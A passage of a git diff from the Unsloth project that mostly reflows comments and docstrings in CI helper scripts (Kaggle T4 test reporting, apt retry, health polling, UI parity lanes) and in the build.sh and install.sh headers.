never reads and the download happens twice. Copied from the report rather than typed."unsloth/Qwen3-0.6B": "unsloth/qwen3-0.6b-unsloth-bnb-4bit",}@@ -1193,11 +513,7 @@ def _read_pins(path: Path) -> list[str]:def resolve(names) -> list[Leg]:- """Legs by name, in the order given. Unknown names fail loudly here.-- At build time rather than on the kernel: a typo in a workflow input must- cost a runner second, not a Kaggle session.- """+ """Legs by name, in the order given. Unknown names fail loudly here, at build time rather than on the kernel: a typo in a workflow input must cost a runner second, not a Kaggle session."""legs = []for name in names:if name not in LEGS:diff --git a/.github/scripts/kaggle_t4_ci/post_statuses.py b/.github/scripts/kaggle_t4_ci/post_statuses.pyindex 7fc2bcd5690..71dddf1c9ff 100644--- a/.github/scripts/kaggle_t4_ci/post_statuses.py+++ b/.github/scripts/kaggle_t4_ci/post_statuses.py@@ -47,10 +47,8 @@ def _gh(args: list[str]) -> tuple[int, str, str]:# What GitHub says when the commit is genuinely not there, measured:-## gh api repos/unslothai/unsloth/commits/deadbeef00# {"message":"No commit found for SHA: deadbeef00", ..., "status":"422"}-## Only that message releases the kernel. Status codes do not say it: 404 is# also an unreadable repository, 422 an ambiguous abbreviation, and reading# either as "gone" would delete the only copy of the result.diff --git a/.github/scripts/kaggle_t4_ci/report.py b/.github/scripts/kaggle_t4_ci/report.pyindex c397c649fd6..6296e5f8df1 100644--- a/.github/scripts/kaggle_t4_ci/report.py+++ b/.github/scripts/kaggle_t4_ci/report.py@@ -3,16 +3,9 @@"""Turn collected Kaggle evidence into a job summary and an exit code.-The only place that decides whether the workflow goes red, on a deliberately-narrow line: red means the payload RAN on a T4 and disagreed with its-assertions. Everything else is a warning, because Kaggle is a free service with-a hard concurrency cap, a weekly quota and its own queue, any of which can stop-the test from producing a result; if those turned a PR red the check would be-noise within a week and ignored the one time it was right.--Exit codes:- 0 passed, partially reported, or never ran- 1 a payload ran and failed its assertions+The only place that decides whether the workflow goes red, on a deliberately narrow line: red means the payload RAN on a T4 and disagreed with its assertions. Everything else is a warning, because Kaggle is a free service with a hard concurrency cap, a weekly quota and its own queue, any of which can stop the test from producing a result; if those turned a PR red the check would be noise within a week and ignored the one time it was right.++Exit codes: 0 passed, partially reported, or never ran; 1 a payload ran and failed its assertions."""from __future__ import annotations@@ -48,12 +41,7 @@ def _fmt_metric(value) -> str:def resolved_versions(report: dict) -> dict:- """The installed version of every watched package, whichever leg wrote it.-- The SFT payload nests it under ``environment.resolved`` because its- environment block predates this and the committed reference carries that- shape; gpt-oss and GRPO write ``versions_flat`` at the top level.- """+ """The installed version of every watched package, whichever leg wrote it. The SFT payload nests it under ``environment.resolved`` because its environment block predates this and the committed reference carries that shape; gpt-oss and GRPO write ``versions_flat`` at the top level."""flat = report.get("versions_flat")if isinstance(flat, dict):return flat@@ -62,12 +50,7 @@ def resolved_versions(report: dict) -> dict:def version_table(reports: list) -> list[str]:- """Every leg's library set side by side, with what differs called out.-- The payoff of a pinned control beside a canary: when the canary is the only- red leg, "which bump did it" is answered on the summary page, without- downloading an artifact or reconstructing an install log.- """+ """Every leg's library set side by side, with what differs called out: when the canary is the only red leg beside a pinned control, "which bump did it" is answered on the summary page without downloading an artifact or reconstructing an install log."""columns = [(r.get("label", "?"), resolved_versions(r)) for r in reports]columns = [(label, versions) for label, versions in columns if versions]if len(columns) < 2:@@ -92,31 +75,16 @@ def version_table(reports: list) -> list[str]:return lines-# The label the Studio payload reports under. Duplicated in-# kaggle_studio_ci/report.py rather than shared: these two packages have no-# import relationship and both already ship a module called `report`, so a-# shared helper would mean putting one of them on the other's sys.path -- which-# is how `import report` starts resolving to the wrong file.+# The label the Studio payload reports under. Duplicated in kaggle_studio_ci/report.py rather than shared: these two packages have no import relationship and both already ship a module called `report`, so a shared helper would put one on the other's sys.path, which is how `import report` starts resolving to the wrong file.STUDIO_LABEL = "studio-gpu"def own_verdict(kernel_verdict: str, kernel_reason: str, reports: list, expect: int):"""This reporter's verdict over ITS OWN payloads, not the kernel's.- The launcher writes one verdict for the whole kernel, and since- --with-studio that kernel holds two unrelated experiments. Reading the- kernel verdict here means a failing training leg prints "Kaggle T4 smoke: FAIL"- above a section listing zero failures, and a failing Studio payload prints- the same over four green legs. Both are the misleading-red twin of the- green tick that tested nothing, and both would send someone to read the- wrong payload.+ The launcher writes one verdict for the whole kernel, and since --with-studio that kernel holds two unrelated experiments. Reading the kernel verdict here means a failing training leg prints "Kaggle T4 smoke: FAIL" above a section listing zero failures, and a failing Studio payload prints the same over four green legs: both are the misleading-red twin of the green tick that tested nothing, and both send someone to read the wrong payload. So the verdict is recomputed from the filtered reports, keeping the kernel reason only when the two agree.- So the verdict is recomputed from the filtered reports. The kernel reason- is kept only when the two agree; otherwise it describes the other half.-- `infra` is deliberately not synthesised: with nothing of ours back, the- kernel-level reason (quota, concurrency cap, a push that was throttled) is- the only account of why, and it applies to every payload equally.+ `infra` is deliberately not synthesised: with nothing of ours back, the kernel-level reason (quota, concurrency cap, a throttled push) is the only account of why, and it applies to every payload equally."""if not reports:return (kernel_verdict if kernel_verdict == "infra" else "partial"), kernel_reason@@ -212,8 +180,7 @@ def render(report: dict) -> list[str]:"configuration, so nothing was compared.")elif ref.get("note"):- # A refusal, not a deviation: the deviations list is empty for- # these, so printing it alone would read like a clean result.+ # A refusal, not a deviation: the deviations list is empty for these, so printing it alone would read like a clean result.lines.append(f"Reference band: **{status}** - {ref['note']}")else:lines.append(f"Reference band: **{status}** - {ref.get('deviations')}")@@ -258,11 +225,7 @@ def render(report: dict) -> list[str]:)lines.append("")- # The whole point of the instrumentation: a reader answers "is the Hub- # download worth optimising" from the job summary, without downloading the- # evidence artifact. `fetch_seconds` is None when the timer never attached,- # and that is rendered as its own sentence rather than as a zero -- "no- # download happened" and "nothing was measured" are different findings.+ # The whole point of the instrumentation: a reader answers "is the Hub download worth optimising" from the job summary without downloading the evidence artifact. `fetch_seconds` is None when the timer never attached, rendered as its own sentence rather than a zero, since "no download happened" and "nothing was measured" are different findings.phases = report.get("load_phases")if phases:if phases.get("fetch_seconds") is None:@@ -292,8 +255,7 @@ def render(report: dict) -> list[str]:history = report.get("log_history")if history:- # GRPO: loss is ~0 by construction at num_iterations=1 and beta=0, so reward and reward_std are what is worth- # showing.+ # GRPO: loss is ~0 by construction at num_iterations=1 and beta=0, so reward and reward_std are what is worth showing.lines += ["| step | reward | reward_std |", "| --- | --- | --- |"]for entry in history:if entry.get("reward") is None:@@ -333,15 +295,9 @@ SENTINELS = (def kernel_log_text(evidence: Path) -> str:- """The kernel log as flat text, whichever shape Kaggle returned it in.-- Kaggle's `kernels/output` returns the log as a JSON array of- ``{stream_name, time, data}`` records, not as text, so reading the file- directly shows a wall of JSON with one word of message per line.- """+ """The kernel log as flat text, whichever shape Kaggle returned it in: `kernels/output` returns a JSON array of ``{stream_name, time, data}`` records, not text, so reading the file directly shows a wall of JSON with one word of message per line."""chunks = []- # rglob: a run is several kernels, each collecting into its own directory, so there is no single kernel.log any- # more.+ # rglob: a run is several kernels, each collecting into its own directory, so there is no single kernel.log any more.for path in sorted(evidence.rglob("kernel.log")):raw = path.read_text(encoding = "utf-8", errors = "replace")try:@@ -362,15 +318,9 @@ PREFETCH_SENTINEL = "KAGGLE_CI_PREFETCH"def prefetch_table(evidence: Path) -> list[str]:"""What the prefetch lane actually achieved, from the kernel log.- This is the instrument, not decoration. The gpt-oss download time was never- measured -- an earlier estimate of "~282s" was subtraction, not measurement- -- and the whole leg order is arranged around it. Putting the number in the- job summary is what lets the next person confirm or reject the reorder- without downloading an artifact, including the case where it did not pay- for itself.+ This is the instrument, not decoration. The gpt-oss download time was never measured (an earlier estimate of "~282s" was subtraction) and the whole leg order is arranged around it, so putting the number in the job summary is what lets the next person confirm or reject the reorder without downloading an artifact, including the case where it did not pay for itself.- Absent on a kernel built without the lane, which reads as no section at- all rather than as a table of zeroes.+ Absent on a kernel built without the lane, which reads as no section at all rather than as a table of zeroes."""text = kernel_log_text(evidence)if not text:@@ -402,10 +352,7 @@ def prefetch_table(evidence: Path) -> list[str]:failed = [r for r in records if not r.get("ok")]lines.append("")if failed:- # Not a failure of the run. Said out loud anyway, because the schedule- # assumes this lane worked: legs.KERNELS starts gptoss third to give it- # a window, and if the window went unused the makespan is the ~568s- # fallback rather than the ~500s the order was chosen for.+ # Not a failure of the run, but said out loud because the schedule assumes this lane worked: legs.KERNELS starts gptoss third to give it a window, and if the window went unused the makespan is the ~568s fallback rather than the ~500s the order was chosen for.lines.append(f"{len(failed)} of {len(records)} prefetch(es) failed. This does not fail ""the run -- the leg downloads the model itself -- but the leg order in "@@ -417,13 +364,7 @@ def prefetch_table(evidence: Path) -> list[str]:def diagnostic_lines(evidence: Path, limit: int = 40) -> list[str]:- """The lines of the kernel log worth putting in front of a human.-- A kernel that finished but reported nothing is the hardest outcome to read:- no metrics to show, cause buried in an artifact nobody downloads. Both real- instances so far, a dependency probe that mis-ordered its imports and a- generated cell with a syntax error, were one grep away in this log.- """+ """The lines of the kernel log worth putting in front of a human. A kernel that finished but reported nothing is the hardest outcome to read: no metrics to show, cause buried in an artifact nobody downloads. Both real instances so far, a dependency probe that mis-ordered its imports and a generated cell with a syntax error, were one grep away in this log."""text = kernel_log_text(evidence)if not text:return []@@ -453,12 +394,7 @@ def main() -> int:reason = result.get("reason", "")reports = result.get("reports", [])- # The Studio payload can share this kernel (see kaggle_t4_ci/build_kernel.py- # --with-studio), and it emits its report through the same prefix, so it- # arrives in this list. It is a different SHAPE -- assertions rather than a- # per-step metric trace, no `config`, no `model` -- so rendering it here- # produces a training leg made of question marks. kaggle_studio_ci/report.py- # renders it properly; each reporter owns its own labels.+ # The Studio payload can share this kernel (see kaggle_t4_ci/build_kernel.py --with-studio) and emits its report through the same prefix, so it arrives in this list. It is a different SHAPE (assertions rather than a per-step metric trace, no `config`, no `model`), so rendering it here produces a training leg made of question marks; kaggle_studio_ci/report.py renders it properly, each reporter owning its own labels.reports = [r for r in reports if r.get("label") != STUDIO_LABEL]verdict, reason = own_verdict(verdict, reason, reports, args.expect)diff --git a/.github/scripts/lane-load-orchestrator.sh b/.github/scripts/lane-load-orchestrator.shindex 3433a83c71a..dbdd99791a5 100755--- a/.github/scripts/lane-load-orchestrator.sh+++ b/.github/scripts/lane-load-orchestrator.sh@@ -1,17 +1,13 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## The load-orchestrator freeze suite, in ONE definition.-## This used to be a whole workflow holding its own runner slot for ~33s. It now runs as a# background lane inside Lint CI, which was going to occupy a runner on every commit# anyway. studio-load-orchestrator-ci.yml still exists as a manual escape hatch and calls# this same script, so the two cannot drift apart.-## Deliberately installs no torch and no unsloth: that is what keeps it cheap enough to run# on every commit rather than only on the four paths that used to trigger it.-## Takes its venv directory as $1 so the caller decides the isolation. Inside Lint CI that# is a private venv, because the lane installs packages while the foreground lint steps are# using the job's interpreter, and two concurrent installs into one site-packages race.diff --git a/.github/scripts/lane-lockfile-audit.sh b/.github/scripts/lane-lockfile-audit.shindex ea50e2813d2..339c8aca7ca 100755--- a/.github/scripts/lane-lockfile-audit.sh+++ b/.github/scripts/lane-lockfile-audit.sh@@ -1,13 +1,10 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## The lockfile supply-chain audit, in ONE definition.-## Ran as its own workflow on its own runner slot for ~6s of work. It now runs as a# background lane inside Lint CI. lockfile-audit.yml keeps its nightly `schedule` and calls# this same script, so the scheduled audit is unchanged and the two cannot drift apart.-## Needs no dependencies at all, which is why it needs no venv: it is stdlib Python over# files already in the checkout.set -euo pipefaildiff --git a/.github/scripts/parity-find-unsloth.sh b/.github/scripts/parity-find-unsloth.shindex 9e467a5555a..54f9fc57b51 100755--- a/.github/scripts/parity-find-unsloth.sh+++ b/.github/scripts/parity-find-unsloth.sh@@ -1,19 +1,15 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Print the absolute path of the `unsloth` CLI belonging to ONE Unsloth home.-## Usage:# parity-find-unsloth.sh <studio-home>-## Why this is not `command -v unsloth`. install.sh writes a shim into# $HOME/.local/bin, which is a single name shared by every install on the# machine; the second of two installs overwrites the first. A job that runs two# builds side by side and then asks PATH which one to launch gets the same build# twice, wearing two labels, and the comparison reports "no difference" -- which# is exactly the shape of failure the parity job exists to detect elsewhere.-## The layout is `$STUDIO_HOME/unsloth_studio/bin/unsloth` (install.sh sets# VENV_DIR="$STUDIO_HOME/unsloth_studio"). The other candidates are the legacy# layouts `runtime/lifecycle._find_unsloth_bin` still accepts; they are checkeddiff --git a/.github/scripts/parity-install-side.sh b/.github/scripts/parity-install-side.shindex d934e7e4b43..195ae7fe523 100755--- a/.github/scripts/parity-install-side.sh+++ b/.github/scripts/parity-install-side.sh@@ -1,22 +1,17 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Install ONE side of a UI-parity comparison: run the checked-out tree's own# `install.sh --local --no-torch` into a home of its own.-## Usage:# parity-install-side.sh <tree> <studio-home> <log-path>-## NOT `.github/actions/install-unsloth-local`. That action is ROOT-CHECKOUT ONLY# and says so: `uses: ./...` resolves from GITHUB_WORKSPACE and takes no# expressions, so it cannot be pointed at a second tree, and it installs into# the default home, so calling it twice would put the second build on top of the# first. A parity job needs exactly the two things it cannot give: another tree# and another home.-## What IS carried over from it, because it is the part that matters:-## * `set -o pipefail` before the tee. Without it the step reports the exit# status of `tee`, not of install.sh, and a failed install passes.# * The elapsed-seconds prefix on the STEP LOG only. This is the largest step@@ -26,7 +21,6 @@# keeps byte-for-byte what install.sh wrote.# * UV_CACHE_DIR is inherited from the environment rather than set here, so one# restored cache serves both sides.-## `--no-torch` because studiobench drives an external provider through its own# pacer and loads no model. A parity digest of the DOM needs the frontend and# the backend, and nothing that torch provides.diff --git a/.github/scripts/retry-with-apt-lock.sh b/.github/scripts/retry-with-apt-lock.shindex 048e71e4850..daee90ec56c 100755--- a/.github/scripts/retry-with-apt-lock.sh+++ b/.github/scripts/retry-with-apt-lock.sh@@ -1,9 +1,7 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Run a command that talks to apt, bounded per attempt and retried.-## GitHub's Azure apt mirror stalls on these runners. Observed repeatedly in one# day: `playwright install --with-deps` sat in apt's download loop three times,# and `Linux deps` (a bare `apt-get update && apt-get install`) sat there for 28@@ -11,44 +9,34 @@# it spends the job's whole timeout-minutes, GitHub scores the result as# "cancelled" rather than a failure, prints no reason, and skips every step after# it. A shard then reports nothing about its subject because a mirror hiccuped.-## Two things make the retry actually work, and both were learned the hard way:-## 1. The apt locks, PLURAL. apt runs as root, so killing the attempt leaves the# apt-get child alive holding a lock, and the next attempt dies two seconds# later with "Could not get lock". A retry that cannot succeed is worse than# none: it buries the real reason under a second, different failure. So wait# for the locks, then take them -- the holder is our own orphan and the# runner is disposable.-## There are four, and which one matters depends on what apt was doing.# Waiting on only /var/lib/dpkg/lock-frontend is how the first version of# this shipped, and it made the retry useless for exactly the case it was# written for: `apt-get update` takes /var/lib/apt/lists/lock and nothing# else, so the wait saw a free lock, retried immediately, and produced-## E: Could not get lock /var/lib/apt/lists/lock. It is held by process 2420 (apt-get)-## twice in a row in under two seconds. Three attempts, one real one.-## 2. `set -e`. GitHub runs `run:` blocks as `bash -e`, so a bare failing# command aborts the step then and there. A retry loop written as# `timeout ... ; rc=$?` never reaches its second attempt: the step exits 124# with no output at all, which is exactly how the first version of this# shipped and why it is a script now rather than eight inline copies.-## 3. apt's own timeouts, which is the part that makes the retry meaningful# rather than merely survivable. Reading the logs of the four stalls above:-## 04:47:02 Get:5 https://archive.ubuntu.com/ubuntu noble-security InRelease [126 kB]# 05:16:29 ##[error]The operation was canceled.-## Twenty-nine minutes of silence, mid-fetch of a 126 kB index file. Two of# the four hung on that same file. What happened before it is the other half# of the story: azure.archive.ubuntu.com was `Ign:`d four times over thirty# seconds, so apt had already failed over through /etc/apt/apt-mirrors.txt to# the public archive, which is not provisioned for this fleet.-## apt did not consider any of that an error. `Acquire::http::Timeout`# defaults to 120s AND is an idle timeout, so a connection that is open and# trickling never trips it -- apt will wait out the heat death of the@@ -57,24 +45,20 @@# failure, which matters for a reason beyond speed: the wall-clock kill below# is what orphans the dpkg lock in the first place, so an apt that fails on# its own is an apt we never have to kill.-## Deliberately NOT pinning a mirror. The evidence does not support it: in one# stall Azure was dead and the public archive hung, in another Azure was# serving fine and the transfer stalled at a 13.6 MB package. Neither is# reliably better, and the mirrorlist failover is already the right mechanism# -- it just needs to be allowed to give up.-## Usage:# bash .github/scripts/retry-with-apt-lock.sh apt-get update# bash .github/scripts/retry-with-apt-lock.sh apt-get install -y foo bar# bash .github/scripts/retry-with-apt-lock.sh python -m playwright install --with-deps chromium-## Environment:# RETRY_ATTEMPTS attempts before giving up (default 3)# RETRY_ATTEMPT_TIMEOUT seconds per attempt (default 480)# APT_ACQUIRE_TIMEOUT seconds apt waits on a stalled transfer (default 20)# APT_ACQUIRE_RETRIES apt's own internal retries (default 3)-## Deliberately no `set -e`: this script reads exit codes itself, and -e would# abort it on the very first failing attempt -- the bug described above.set -uo pipefaildiff --git a/.github/scripts/run-studio-permission-browser.sh b/.github/scripts/run-studio-permission-browser.shindex d2dddb68cd3..f9e15f9d3d7 100755--- a/.github/scripts/run-studio-permission-browser.sh+++ b/.github/scripts/run-studio-permission-browser.sh@@ -30,19 +30,16 @@ cleanup() {trap cleanup EXIT# Say who died and when, for a failure mode that currently reports nothing.-## Observed on windows-latest at roughly one run in twenty-five: the suite prints# "permission-only run passed" and the STEP then ends with "Process completed with exit# code 143". 143 is 128+SIGTERM, so something signalled this script after its work had# already succeeded, and neither the step log nor the server log records what. The# server log simply stops mid-request, which is what cleanup killing it looks like, so# it cannot distinguish the two.-## suite_done is the fact worth capturing: it separates "signalled while driving the# browser" (a real timeout worth chasing) from "signalled after passing" (a teardown# ordering problem, and what the one observed instance was). Without it the next# occurrence is as unreadable as this one.-## `exit` explicitly, because the whole point is to be unambiguous about the status# rather than to rely on what bash would have chosen for a trapped signal.suite_done=0diff --git a/.github/scripts/run-studio-ui-lane.sh b/.github/scripts/run-studio-ui-lane.shindex 5c8887b6b1e..b32e521737e 100644--- a/.github/scripts/run-studio-ui-lane.sh+++ b/.github/scripts/run-studio-ui-lane.sh@@ -1,13 +1,10 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## One lane of the Windows Chat UI Tests job, start to finish: boot an Unsloth on# this lane's own port and own UNSLOTH_STUDIO_HOME, rotate the bootstrap# password, drive its Playwright suites, stop the server.-## Usage: run-studio-ui-lane.sh chat|extra-## Why this exists. The job ran five Playwright suites one after another for# ~788s of a 20.6 minute job, 88% of it in steps over 60s, and it was the last# finisher on every commit where no macOS job ran. The suites are disjoint --@@ -15,7 +12,6 @@# ALREADY distinct (18895/18896/18897/18899). The only thing forcing sequence# was shared state, exactly as #9158 found for the three Linux indicator# engines.-## Two lanes rather than five. windows-latest is 4 vCPU / 16 GB and these lanes# load a real GGUF through llama-server, whose turn latency already needed a# 540s budget on this image. Five concurrent servers would contend for the same@@ -23,17 +19,13 @@# work near evenly -- 375s against 413s -- so the lane wall is ~413s, and the# theoretical floor with the 287s indicator suite in it is 287s. Three lanes buy# ~126s for a third model-loading server; not worth it here.-## chat : chat UI (18896) -> loaded-models indicator, Edge (18899)# extra : Compare/Recipes/Export/Settings + update banner (18897)# -> Edge permission controls (18895)-## Within a lane the order and the environment of every suite is unchanged from# when they were steps, including `extra` reusing one server for both of its# Playwright runs and passing the same STUDIO_OLD_PW / STUDIO_NEW_PW to each.-## THE STATE SPLIT. Per lane:-## port -- one each, so both servers coexist. Already true.# UNSLOTH_STUDIO_HOME -- one each. boot-studio-api-only.sh wipes# $home/auth so the boot mints a fresh .bootstrap_password, then this@@ -43,14 +35,12 @@# health probe tmp -- one each; the helper defaults to a single path.# artifact + log paths -- one each, so a failure in one lane is still# readable after the other has written its own.-## UNSLOTH_STUDIO_HOME is the CLI's INSTALL root, not just a data root, so a bare# empty directory is not usable: unsloth_cli/commands/studio.py resolves# $UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe and exits "Unsloth# Unsloth not set up. Run install.sh first." before binding a port. Each lane# home therefore links the one venv install.ps1 already built and owns only the# mutable state beside it.-## And one thing the Linux precedent did not have to handle. Setting the variable# makes the root CUSTOM, and _ensure_studio_env_exported() then points# UNSLOTH_LLAMA_CPP_PATH at $UNSLOTH_STUDIO_HOME/llama.cpp rather than thediff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.shindex 6ac98ded7cc..2079aee2ed1 100755--- a/.github/scripts/serve-unsloth-run.sh+++ b/.github/scripts/serve-unsloth-run.sh@@ -1,20 +1,16 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Boot `unsloth run --disable-tools` in the background, wait for it to be# healthy, parse the minted API key from the banner, and resolve the# /v1/models id. Exports everything downstream steps need into $GITHUB_ENV# (or prints it when run outside Actions). Factored out of the workflow so# the failure-isolation logic lives in one shellcheck-clean place.-## Usage:# serve-unsloth-run.sh --model REPO --gguf-variant VAR --port PORT \# [--gguf-file PATH] [--extra "--seed 3407 --temp 0"] \# [--log-dir logs] [--health-timeout 300]-## Why a helper and not inline YAML-# --------------------------------# * Every `unsloth run` invocation here is the *Unsloth server* under test.# A failure to come up healthy is class (a) "server/API regression" and# must be reported with a distinct `::error::` BEFORE any agent runs.@@ -24,7 +20,6 @@# silent change to that line is also caught.# * `unsloth run` re-execs into the studio venv ($STUDIO_HOME/unsloth_studio),# so in CI after `install.sh --local` it runs the PR's repo code.-## Outputs written to $GITHUB_ENV (and echoed):# UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner# UNSLOTH_STUDIO_URL http://127.0.0.1:<PORT> (so `unsloth start`diff --git a/.github/scripts/studio_smoke/multi_turn_chat.py b/.github/scripts/studio_smoke/multi_turn_chat.pyindex d102d2835d1..fcca17d99f6 100644--- a/.github/scripts/studio_smoke/multi_turn_chat.py+++ b/.github/scripts/studio_smoke/multi_turn_chat.py@@ -201,7 +201,6 @@ def check(label: str, first: list[str], second: list[str]) -> None:# History grounding is asserted on the LAST turn, per turn. "Repeat the city name" names no city, so 'Paris' can# only have come from turn 3, and a server that kept only the latest turn answers "Okay, I'm ready." -- measured# against llama-server b10360 on the UD-Q4_K_XL file the workflow loads.- ## #10009 asserted this on turn 2 instead, requiring the reply to restate turn 1's number, and that is a false# failure on macOS: in the same run that turn 2 came back "You haven't provided the previous question.", turn 4# answered "The capital of France is Paris.", which is only possible with history attached. Whether a 270M model@@ -225,7 +224,6 @@ def main() -> int:# is built from the reply before it, and the second replay meets the server holding cache and slot state the# first one left behind, so a token the model is near-tied on can land differently without decoding being# broken. A server that is actually non-deterministic disagrees on every attempt and still fails.- ## Deliberately NOT done by softening check(): #5669 turned this assertion into a printed warning on the Linux# leg and it went unnoticed for three months, so every divergence handed to check() is still a hard failure,# and every other fault -- an empty reply, history not reaching the model -- fails on the first attempt.diff --git a/.github/scripts/wait-for-health.sh b/.github/scripts/wait-for-health.shindex 0047270936e..e0b7d13fb5b 100755--- a/.github/scripts/wait-for-health.sh+++ b/.github/scripts/wait-for-health.sh@@ -1,17 +1,13 @@#!/usr/bin/env bash# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.-## Poll a booted Unsloth's /api/health until it reports healthy, and on timeout# print the tail of that server's log before failing.-## Usage:# wait-for-health.sh --port 18888 [--log logs/studio.log] [--tmp /tmp/health.json]-## Fourteen steps across eight workflows ran this same poll, in two dialects that# disagreed about what a failure looks like. This is the union of the two, taking# the better half of each:-## * Retry on ANY not-yet-healthy answer, not just on a refused connection. The# "exit-0" dialect ran `jq -e` as a bare command under `bash -e`, so a server# that answered the very first poll with `status != "healthy"` failed the step@@ -21,9 +17,7 @@# `jq -e '.status == "healthy"'`, whose entire output on failure is a non-zero# exit code -- no message, and nothing about why the server never came up. The# log tail is the only place that says.-## Parameters, and why each one is a parameter:-## * --port differs per call site; several workflows run two or three servers in# one job on different ports.# * --log is whichever log the matching boot-studio-api-only.sh call was told@@ -33,7 +27,6 @@# for a human reading the runner. Five distinct names are in use so# that a later phase in the same job does not overwrite the evidence# an earlier phase left behind.-## The deadline is fixed at 180s because all fourteen converted call sites used# 180. The three "boot briefly to confirm the install is still usable" steps poll# for 60s, but they also boot and kill the server in the same shell and keep the@@ -63,14 +56,12 @@ done[ -n "$PORT" ] || { echo "wait-for-health.sh: --port is required" >&2; exit 2; }# Two halves of one bound, and neither works without the other.-## --max-time, because curl sets no maximum transfer time by default and# --connect-timeout stops helping the moment the handshake completes. An Unsloth# that binds the port and then wedges its event loop -- the shape of a wedged# server on a 4 vCPU runner with four of them on it -- parks the FIRST# iteration forever, and an iteration count is not a deadline if an iteration# can be infinite.-## A real deadline, because once each probe can cost up to --max-time, counting# iterations turns "180s" into up to 180 x 6s = 18 minutes: a bound far looser# than the one this file advertises, and looser than the lane budget thatdiff --git a/build.sh b/build.shindex ba0a8257ac8..58e7fb10f0a 100755--- a/build.sh+++ b/build.sh@@ -114,11 +114,9 @@ _restore_studio_build_infotrap - EXIT# 5. Optionally publish-## Wheel only. The sdist is still built above, because --verify-dist checks the# release stamp in every artifact and a local sdist is the cheapest way to catch# a packaging change that only shows up in the source tree. It is not uploaded.-## A release is ~169MB across both artifacts, and the PyPI project size limit is# 10GB; the sdist is the larger half. Uploading only the wheel halves what each# release costs against that limit. Nothing is lost for installers: the wheel isdiff --git a/install.sh b/install.shindex bfe418ffbfa..120a3cd9434 100755--- a/install.sh+++ b/install.sh@@ -1,33 +1,10 @@#!/bin/sh-#-# Unsloth Studio Installer-#-# Usage, supported options and the web one-liner are documented in the repository README under-# "Unsloth Studio (web UI)": https://github.com/unslothai/unsloth#unsloth-studio-web-ui.-# They are not repeated here: this file ships inside the Linux desktop bundle, where a header-# rehearsing download-and-run command lines is the first thing a generic script classifier reads,-# and nothing in the script consults it.-#-# A piped install takes options as environment variables after the pipe (UNSLOTH_NO_TORCH,-# UNSLOTH_SKIP_AUTOSTART, UNSLOTH_ISOLATE_UV_CACHE, UNSLOTH_PYTHON, UNSLOTH_STUDIO_HOME)-# because a bare `--no-torch` after the pipe would be read as an option to sh itself; a local-# run takes the equivalent flags (--no-torch, --isolated-uv-cache, --python, --local).-#-# Install dir priority: UNSLOTH_STUDIO_HOME > STUDIO_HOME (alias) > $HOME/.unsloth/studio-#+# Unsloth Studio Installer. Usage, supported options and the web one-liner live in the README under "Unsloth Studio (web UI)" and are deliberately not repeated here: this file ships inside the Linux desktop bundle, where a header rehearsing download-and-run command lines is the first thing a generic script classifier reads. A piped install takes options as environment variables after the pipe (UNSLOTH_NO_TORCH, UNSLOTH_SKIP_AUTOSTART, UNSLOTH_ISOLATE_UV_CACHE, UNSLOTH_PYTHON, UNSLOTH_STUDIO_HOME), because a bare `--no-torch` after the pipe would be read as an option to sh itself; a local run takes the equivalent flags (--no-torch, --isolated-uv-cache, --python, --local). Install dir priority: UNSLOTH_STUDIO_HOME > STUDIO_HOME > $HOME/.unsloth/studio# SPDX-License-Identifier: AGPL-3.0-only# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0set -e# ── Why the installer lives in a function ──-# Under a piped web install, sh is the pipe READER. This file is ~150KB, so a top-level-# `exit` left most of it unread, the write end failed, and curl tacked-# "(56) Failure writing output to destination" onto our own error message. Wrapping-# the body forces sh to parse to the closing brace first, so the pipe always drains-# (install.ps1 has always had this shape).-#-# Body is deliberately NOT reindented: reflowing 4000+ lines would bury the change,-# and `exit` still exits the shell from inside a function. Do not add-# `exec < /dev/null`: for a piped shell that closes the script's own source.+# Under a piped web install, sh is the pipe READER. This file is ~150KB, so a top-level `exit` left most of it unread, the write end failed, and curl tacked "(56) Failure writing output to destination" onto our own error message. Wrapping the body forces sh to parse to the closing brace first, so the pipe always drains. The body is deliberately NOT reindented, and `exit` still exits the shell from inside a function. Do not add `exec < /dev/null`: for a piped shell that closes the script's own source._unsloth_main() {# ── Output style (aligned with studio/setup.sh) ──@@ -193,18 +170,12 @@ _redact_install_output() {"$@"}-# Large downloads become markers the app consumes and does not display; forwarding uv's-# own chatter would put dozens of lines in front of the user.+# Large downloads become markers the app consumes and does not display; forwarding uv's own chatter would put dozens of lines in front of the user.: "${UNSLOTH_DL_MARKER_MIN_BYTES:=52428800}"-# $1 is the child's output sink: a log file for the quiet path, empty to pass it along-# stdout for the verbose one. Markers go to stderr to stay clear of the verbose path's-# redactor -- sed block-buffers, so a marker queued behind it would arrive only once the-# download it announces had finished.+# $1 is the child's output sink: a log file for the quiet path, empty to pass it along stdout for the verbose one. Markers go to stderr to stay clear of the verbose path's redactor, since sed block-buffers and a marker queued behind it would arrive only once the download it announces had finished._uv_download_markers() {- # Minimal images ship without awk, which the uv version probe below also allows for.- # This pipe now carries every install command, so a missing awk must cost the markers- # and nothing else: without this the pipeline closes and the child dies of SIGPIPE.+ # Minimal images ship without awk, which the uv version probe below also allows for. This pipe now carries every install command, so a missing awk must cost the markers and nothing else: without this the pipeline closes and the child dies of SIGPIPE.if ! command -v awk >/dev/null 2>&1; thenif [ -n "$1" ]; then cat 